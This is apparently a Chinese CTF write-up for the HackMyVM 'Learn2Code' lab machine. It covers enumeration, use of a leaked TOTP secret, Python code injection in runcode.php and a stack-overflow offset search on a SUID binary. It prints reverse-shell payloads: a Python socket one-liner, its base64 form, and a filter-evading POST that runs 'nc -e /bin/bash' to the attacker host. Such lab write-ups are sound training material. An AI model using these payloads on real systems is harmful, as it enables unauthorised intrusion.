{"id":596,"date":"2024-04-20T23:53:28","date_gmt":"2024-04-20T15:53:28","guid":{"rendered":"http:\/\/162.14.82.114\/?p=596"},"modified":"2024-04-20T23:53:28","modified_gmt":"2024-04-20T15:53:28","slug":"hmv-_-learn2code","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/596\/04\/20\/2024\/","title":{"rendered":"hmv[-_-]Learn2Code"},"content":{"rendered":"

Learn2Code<\/h1>\n

\"image-20240418131317889\"<\/div>
\n
\"image-20240418131453754\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
rustscan -a 192.168.0.139 -- -A\n\nOpen 192.168.0.139:80\n\nPORT   STATE SERVICE REASON  VERSION\n80\/tcp open  http    syn-ack Apache httpd 2.4.38 ((Debian))\n|_http-title: Access system\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n|_http-server-header: Apache\/2.4.38 (Debian)<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.0.139 -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,git,jpg,txt,png\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.139\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              png,php,zip,git,jpg,txt\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.php            (Status: 200) [Size: 1161]\n\/.php                 (Status: 403) [Size: 278]\n\/includes             (Status: 301) [Size: 317] [--> http:\/\/192.168.0.139\/includes\/]\n\/todo.txt             (Status: 200) [Size: 51]\n\/.php                 (Status: 403) [Size: 278]\n\/server-status        (Status: 403) [Size: 278]\nProgress: 1543920 \/ 1543927 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\"image-20240418131631863\"<\/div>
\n
\"image-20240418131640776\"<\/div>
\n
\"image-20240418131704529\"<\/div><\/p>\n
\u67e5\u770b\u654f\u611f\u76ee\u5f55<\/h3>\n
http:\/\/192.168.0.139\/todo.txt<\/code><\/pre>\n
******* Remember to delete the bak files!! *******<\/code><\/pre>\n
\u91cd\u65b0\u626b\u63cf\uff0c\u5c1d\u8bd5\u627e\u5230\u8fd9\u4e2abak\u3002<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.0.139 -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x bak                    \n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.139\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              bak\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/includes             (Status: 301) [Size: 317] [--> http:\/\/192.168.0.139\/includes\/]\n\/server-status        (Status: 403) [Size: 278]\nProgress: 441120 \/ 441122 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u641c\u7d22\u654f\u611f\u76ee\u5f55\uff1a<\/p>\n
\"image-20240418132523287\"<\/div>
\n
\"image-20240418132552442\"<\/div>
\n
\"image-20240418132607533\"<\/div><\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ wget http:\/\/192.168.0.139\/includes\/php\/access.php.bak                                                                             \n--2024-04-18 01:26:48--  http:\/\/192.168.0.139\/includes\/php\/access.php.bak\nConnecting to 192.168.0.139:80... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 319 [application\/x-trash]\nSaving to: \u2018access.php.bak\u2019\n\naccess.php.bak                        100%[=========================================================================>]     319  --.-KB\/s    in 0s      \n\n2024-04-18 01:26:48 (49.8 MB\/s) - \u2018access.php.bak\u2019 saved [319\/319]\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ cat access.php.bak   \n<?php\n        require_once 'GoogleAuthenticator.php';\n        $ga = new PHPGangsta_GoogleAuthenticator();\n        $secret = "S4I22IG3KHZIGQCJ";\n\n        if ($_POST['action'] == 'check_code') {\n                $code = $_POST['code'];\n                $result = $ga->verifyCode($secret, $code, 1);\n\n                if ($result) {\n                        include('coder.php');\n                } else {\n                        echo "wrong";\n                }\n        }\n?> <\/code><\/pre>\n
http:\/\/192.168.0.139\/includes\/php\/coder.php<\/code><\/pre>\n
Don't be a cheater!<\/code><\/pre>\n
http:\/\/192.168.0.139\/includes\/php\/runcode.php<\/code><\/pre>\n
Don't be a cheater!<\/code><\/pre>\n
\u5c1d\u8bd5fuzz\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ ffuf -u http:\/\/192.168.0.139\/FUZZ -w \/usr\/share\/wordlists\/dirb\/common.txt -e .bak\n\n        \/'___\\  \/'___\\           \/'___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/192.168.0.139\/FUZZ\n :: Wordlist         : FUZZ: \/usr\/share\/wordlists\/dirb\/common.txt\n :: Extensions       : .bak \n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n________________________________________________\n\n                        [Status: 200, Size: 1161, Words: 49, Lines: 33, Duration: 2ms]\n.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 1ms]\n.htaccess.bak           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 1ms]\n.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2ms]\n.hta.bak                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2ms]\n.hta                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2ms]\n.htpasswd.bak           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 243ms]\nincludes                [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 1ms]\nindex.php               [Status: 200, Size: 1161, Words: 49, Lines: 33, Duration: 0ms]\nserver-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 1ms]\n:: Progress: [9228\/9228] :: Job [1\/1] :: 53 req\/sec :: Duration: [0:00:04] :: Errors: 0 ::<\/code><\/pre>\n
GoogleAuthenticator<\/h3>\n
\"image-20240420153041477\"<\/div><\/p>\n
\u7136\u540e\uff0c\u6211\u54a8\u8be2\u4e86\u4e00\u4e0bEriman<\/code>\u548crpj7<\/code>\uff1a<\/p>\n
\"image-20240420154911538\"<\/div>
\n
\"image-20240420154936021\"<\/div><\/p>\n
\u61c2\u4e86\u3002\u3002\u3002https:\/\/github.com\/PHPGangsta\/GoogleAuthenticator\/blob\/master\/PHPGangsta\/GoogleAuthenticator.php<\/a><\/p>\n
\u4e0b\u8f7d\u4e0b\u6765\uff0c\u7136\u540e\u63d2\u5165\u6211\u4eec\u7684\u4ee3\u7801\u8dd1\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ php temp.php\n845058                                                                                                                                                        \n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ tail -n 20 temp.php\n\n        $result = 0;\n\n        for ($i = 0; $i < $userLen; ++$i) {\n            $result |= (ord($safeString[$i]) ^ ord($userString[$i]));\n        }\n\n        \/\/ They are only identical strings if $result is exactly 0...\n        return $result === 0;\n    }\n}\n\n?>\n<?php\n    $ga = new PHPGangsta_GoogleAuthenticator();\n    $secret = "S4I22IG3KHZIGQCJ";\n    $code = $ga->getCode($secret);\n    echo $code\n?><\/code><\/pre>\n
\u8fd9\u4e2a\u4e1c\u897f\u65f6\u523b\u4f1a\u53d8\u7684\uff0c\u5982\u679cwrong<\/code>\u4e86\uff0c\u5c31\u91cd\u65b0\u641e\u4e00\u4e2a\uff01<\/p>\n
\"image-20240420161705171\"<\/div><\/p>\n
\u4f46\u662f\u4e0d\u7ba1\u641e\u5565\u90fd\u6ca1\u6709\u56de\u663e\uff0c\u5c1d\u8bd5\u8fdb\u884c\u53cd\u5f39shell\uff01\u4f46\u662f\u90fd\u6ca1\u6709\u6267\u884c\u6210\u529f\u3002<\/p>\n
\u542cEriman<\/code>\u7237\u8bf4\u53ef\u80fd\u8981\u7528python\u7684\u53cd\u5f39shell\uff1a<\/p>\n
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.143",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["\/bin\/sh","-i"]);'<\/code><\/pre>\n
\u8fd8\u5f97\u7f16\u7801\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240420163658652\"<\/div><\/p>\n
python -c 'exec "cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC4wLjE0MyIsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7Jw==".decode("base64")'<\/code><\/pre>\n
\u7136\u540e\u6211\u591a\u756a\u5c1d\u8bd5\u65e0\u679c\u4ee5\u540e\u91cd\u542f\u4e86\u9776\u673a\uff0c\u5728\u4e3b\u9875\u8fdb\u884c\u4e86\u64cd\u4f5c\uff0c\u6709\u4e86\u56de\u663e\uff1a<\/p>\n
\"image-20240420171032153\"<\/div>
\n
\"image-20240420171109280\"<\/div><\/p>\n
\u6240\u4ee5\u60f3\u5230python\u3002\u3002\u3002\u3002\u6211\u771f\u7684\u662f\u4e2a\u5927\u5446\u6279\u3002\u3002\u3002<\/p>\n
\"image-20240420171237405\"<\/div><\/p>\n
\u8fdb\u884c\u6293\u5305\uff1a<\/p>\n
POST \/includes\/php\/runcode.php HTTP\/1.1\nHost: 192.168.0.139\nContent-Length: 29\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/90.0.4430.212 Safari\/537.36\nContent-type: application\/x-www-form-urlencoded\nAccept: *\/*\nOrigin: http:\/\/192.168.0.139\nReferer: http:\/\/192.168.0.139\/\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nCookie: PHPSESSID=0epcnghs4sn67tv9sao8bni1li\nConnection: close\n\naction=run_code&code=print(1)<\/code><\/pre>\n
\u5c1d\u8bd5\u53d1\u9001\u53cd\u5f39shell\uff0c\u7ecf\u6d4b\u8bd5\u5bf9os<\/code>\u6a21\u5757\u654f\u611f\uff1a<\/p>\n
POST \/includes\/php\/runcode.php HTTP\/1.1\nHost: 192.168.0.139\nContent-Length: 103\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/90.0.4430.212 Safari\/537.36\nContent-type: application\/x-www-form-urlencoded\nAccept: *\/*\nOrigin: http:\/\/192.168.0.139\nReferer: http:\/\/192.168.0.139\/\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nCookie: PHPSESSID=0epcnghs4sn67tv9sao8bni1li\nConnection: close\n\naction=run_code&code=a='o'+'s';mod=__import__(a);mod.popen('nc+-e+\/bin\/bash+192.168.0.143+1234').read()<\/code><\/pre>\n
\u6784\u9020\u597d\u4ee5\u540e\u8fdb\u884c\u4f20\uff0c\u53d1\u73b0\u6210\u529f\u53cd\u5f39shell\uff01\uff01\uff01\uff01<\/p>\n
\"image-20240420174153765\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
(remote) www-data@Learn2Code:\/var\/www\/html\/includes\/php$ ls\nGoogleAuthenticator.php  access.php  access.php.bak  coder.php  runcode.php\n(remote) www-data@Learn2Code:\/var\/www\/html\/includes\/php$ sudo -l \nbash: sudo: command not found\n(remote) www-data@Learn2Code:\/var\/www\/html\/includes\/php$ cd ..\/..\/  \n(remote) www-data@Learn2Code:\/var\/www\/html$ ls -la\ntotal 20\ndrwxr-xr-x 3 root     root     4096 Sep 29  2020 .\ndrwxr-xr-x 3 root     root     4096 Sep 28  2020 ..\ndr-xr-xr-x 5 www-data www-data 4096 Sep 28  2020 includes\n-r-xr-xr-x 1 www-data www-data 1161 Sep 28  2020 index.php\n-rw-r--r-- 1 root     root       51 Sep 29  2020 todo.txt\n(remote) www-data@Learn2Code:\/var\/www\/html$ cd ..\/..\/\n(remote) www-data@Learn2Code:\/var$ ls -la\ntotal 48\ndrwxr-xr-x 12 root root  4096 Sep 28  2020 .\ndrwxr-xr-x 18 root root  4096 Sep 28  2020 ..\ndrwxr-xr-x  2 root root  4096 Apr 20 03:09 backups\ndrwxr-xr-x 10 root root  4096 Sep 28  2020 cache\ndrwxr-xr-x 27 root root  4096 Sep 28  2020 lib\ndrwxrwsr-x  2 root staff 4096 Sep 19  2020 local\nlrwxrwxrwx  1 root root     9 Sep 28  2020 lock -> \/run\/lock\ndrwxr-xr-x  6 root root  4096 Apr 20 03:04 log\ndrwxrwsr-x  2 root mail  4096 Sep 28  2020 mail\ndrwxr-xr-x  2 root root  4096 Sep 28  2020 opt\nlrwxrwxrwx  1 root root     4 Sep 28  2020 run -> \/run\ndrwxr-xr-x  5 root root  4096 Sep 28  2020 spool\ndrwxrwxrwt  2 root root  4096 Apr 20 05:08 tmp\ndrwxr-xr-x  3 root root  4096 Sep 28  2020 www\n(remote) www-data@Learn2Code:\/var$ cd backups\/\n(remote) www-data@Learn2Code:\/var\/backups$ ls -la\ntotal 764\ndrwxr-xr-x  2 root root     4096 Apr 20 03:09 .\ndrwxr-xr-x 12 root root     4096 Sep 28  2020 ..\n-rw-r--r--  1 root root    40960 Sep 28  2020 alternatives.tar.0\n-rw-r--r--  1 root root    10163 Sep 28  2020 apt.extended_states.0\n-rw-r--r--  1 root root      186 Sep 28  2020 dpkg.diversions.0\n-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.1.gz\n-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.2.gz\n-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.3.gz\n-rw-r--r--  1 root root      172 Sep 28  2020 dpkg.statoverride.0\n-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.1.gz\n-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.2.gz\n-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.3.gz\n-rw-r--r--  1 root root   361448 Sep 28  2020 dpkg.status.0\n-rw-r--r--  1 root root   100870 Sep 28  2020 dpkg.status.1.gz\n-rw-r--r--  1 root root   100870 Sep 28  2020 dpkg.status.2.gz\n-rw-r--r--  1 root root   100612 Sep 28  2020 dpkg.status.3.gz\n-rw-------  1 root root      785 Sep 28  2020 group.bak\n-rw-------  1 root shadow    665 Sep 28  2020 gshadow.bak\n-rw-------  1 root root     1443 Sep 28  2020 passwd.bak\n-rw-------  1 root shadow    951 Sep 28  2020 shadow.bak\n(remote) www-data@Learn2Code:\/var\/backups$ cat gshadow.bak \ncat: gshadow.bak: Permission denied\n(remote) www-data@Learn2Code:\/var\/backups$ cat shadow.bak \ncat: shadow.bak: Permission denied\n(remote) www-data@Learn2Code:\/var\/backups$ cd \/home\n(remote) www-data@Learn2Code:\/home$ id \nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n(remote) www-data@Learn2Code:\/home$ ls -la\ntotal 12\ndrwxr-xr-x  3 root    root    4096 Sep 28  2020 .\ndrwxr-xr-x 18 root    root    4096 Sep 28  2020 ..\ndr-x------  2 learner learner 4096 Sep 28  2020 learner\n(remote) www-data@Learn2Code:\/home$ cd learner\/\nbash: cd: learner\/: Permission denied\n(remote) www-data@Learn2Code:\/home$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/bin\/chsh\n\/usr\/bin\/mount\n\/usr\/bin\/passwd\n\/usr\/bin\/su\n\/usr\/bin\/newgrp\n\/usr\/bin\/umount\n\/usr\/bin\/gpasswd\n\/usr\/bin\/MakeMeLearner\n\/usr\/bin\/chfn\n(remote) www-data@Learn2Code:\/home$ ls -l \/usr\/bin\/MakeMeLearner\n-r-sr-sr-x 1 root www-data 16864 Sep 28  2020 \/usr\/bin\/MakeMeLearner\n(remote) www-data@Learn2Code:\/home$ \/usr\/bin\/MakeMeLearner\nMakeMeLearner: please specify an argument\n\n(remote) www-data@Learn2Code:\/home$ \/usr\/bin\/MakeMeLearner -h\nChange the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x00000000\n(remote) www-data@Learn2Code:\/home$ file \/usr\/bin\/MakeMeLearner\n\/usr\/bin\/MakeMeLearner: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID[sha1]=bb387daabdaf0f68bfa1a29f8b8190c076dd6ad8, for GNU\/Linux 3.2.0, not stripped\n(remote) www-data@Learn2Code:\/home$ \/usr\/bin\/MakeMeLearner aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nChange the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x61616161\nSegmentation fault<\/code><\/pre>\n
\u6808\u6ea2\u51fa<\/h3>\n
\u4e0b\u8f7d\u5230\u672c\u5730\u770b\u4e00\u4e0b\uff1a<\/p>\n
int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  __int64 v3; \/\/ ST00_8\n  char dest; \/\/ [rsp+10h] [rbp-50h]\n  unsigned int v6; \/\/ [rsp+5Ch] [rbp-4h]\n\n  if ( argc == 1 )\n    errx(1, "please specify an argument\\n", envp, argv);\n  printf("Change the 'modified' variable value to '0x61626364' to be a learner", argv, envp, argv);\n  v6 = 0;\n  strcpy(&dest, *(const char **)(v3 + 8));\n  if ( v6 == 'abcd' )     # \u539f\u6765\u662f1633837924\uff0c\u6211\u6539\u6210\u5b57\u7b26\u4e32\u4e86\n  { \n    setuid(0x3E8u);\n    setgid(0x3E8u);\n    system("\/bin\/bash");\n  }\n  else\n  {\n    printf("Try again, you got 0x%08x\\n", v6);\n  }\n  return 0;\n}<\/code><\/pre>\n
\"image-20240420175715938\"<\/div><\/p>\n
\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u5982\u679c\u4e0d\u4f1a\u9614\u4ee5\u53c2\u8003\uff1ahttps:\/\/www.kayssel.com\/post\/binary-exploitation-5-smash-the-stack\/<\/a><\/p>\n
\u5148\u770b\u4e00\u4e0b\u504f\u79fb\u91cf\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ locate pattern_create       \n\/usr\/bin\/msf-pattern_create\n\/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_create.rb\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ \/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_create.rb -l 300\nAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ gdb-peda -q MakeMeLearner                                             \nReading symbols from MakeMeLearner...\n(No debugging symbols found in MakeMeLearner)\n[----------------------------------registers-----------------------------------]\nRAX: 0x0 \nRBX: 0x7fffffffe118 --> 0x7fffffffe3d4 ("\/home\/kali\/temp\/learn2code\/MakeMeLearner")\nRCX: 0x0 \nRDX: 0x0 \nRSI: 0x5555555592a0 ("Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x63413563\\n")\nRDI: 0x7fffffffddc0 --> 0x7fffffffddf0 ("Try again, you got 0x63413563\\n value to '0x61626364' to be a learner")\nRBP: 0x4138634137634136 ('6Ac7Ac8A')\nRSP: 0x7fffffffe008 ("c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5"...)\nRIP: 0x55555555522a (<main+165>:        ret)\nR8 : 0x78 ('x')\nR9 : 0x0 \nR10: 0x0 \nR11: 0x202 \nR12: 0x0 \nR13: 0x7fffffffe130 --> 0x7fffffffe52a ("LESS_TERMCAP_se=\\033[0m")\nR14: 0x0 \nR15: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x555555554000 --> 0x10102464c457f\nEFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n   0x55555555521f <main+154>:   call   0x555555555060 <printf@plt>\n   0x555555555224 <main+159>:   mov    eax,0x0\n   0x555555555229 <main+164>:   leave\n=> 0x55555555522a <main+165>:   ret\n   0x55555555522b:      nop    DWORD PTR [rax+rax*1+0x0]\n   0x555555555230 <__libc_csu_init>:    push   r15\n   0x555555555232 <__libc_csu_init+2>:  lea    r15,[rip+0x2baf]        # 0x555555557de8\n   0x555555555239 <__libc_csu_init+9>:  push   r14\n[------------------------------------stack-------------------------------------]\n0000| 0x7fffffffe008 ("c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5"...)\n0008| 0x7fffffffe010 ("Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj"...)\n0016| 0x7fffffffe018 ("4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")\n0024| 0x7fffffffe020 ("d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")\n0032| 0x7fffffffe028 ("Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")\n0040| 0x7fffffffe030 ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")\n0048| 0x7fffffffe038 ("e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")\n0056| 0x7fffffffe040 ("Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\nStopped reason: SIGSEGV\n0x000055555555522a in main ()\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/learn2code]\n\u2514\u2500$ \/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_offset.rb -q 0x63413563          \n[*] Exact match at offset 76<\/code><\/pre>\n
\u504f\u79fb\u91cf\u4e3a76\uff0c\u8fdb\u884c\u8986\u76d6\u5373\u53ef\uff1a<\/p>\n
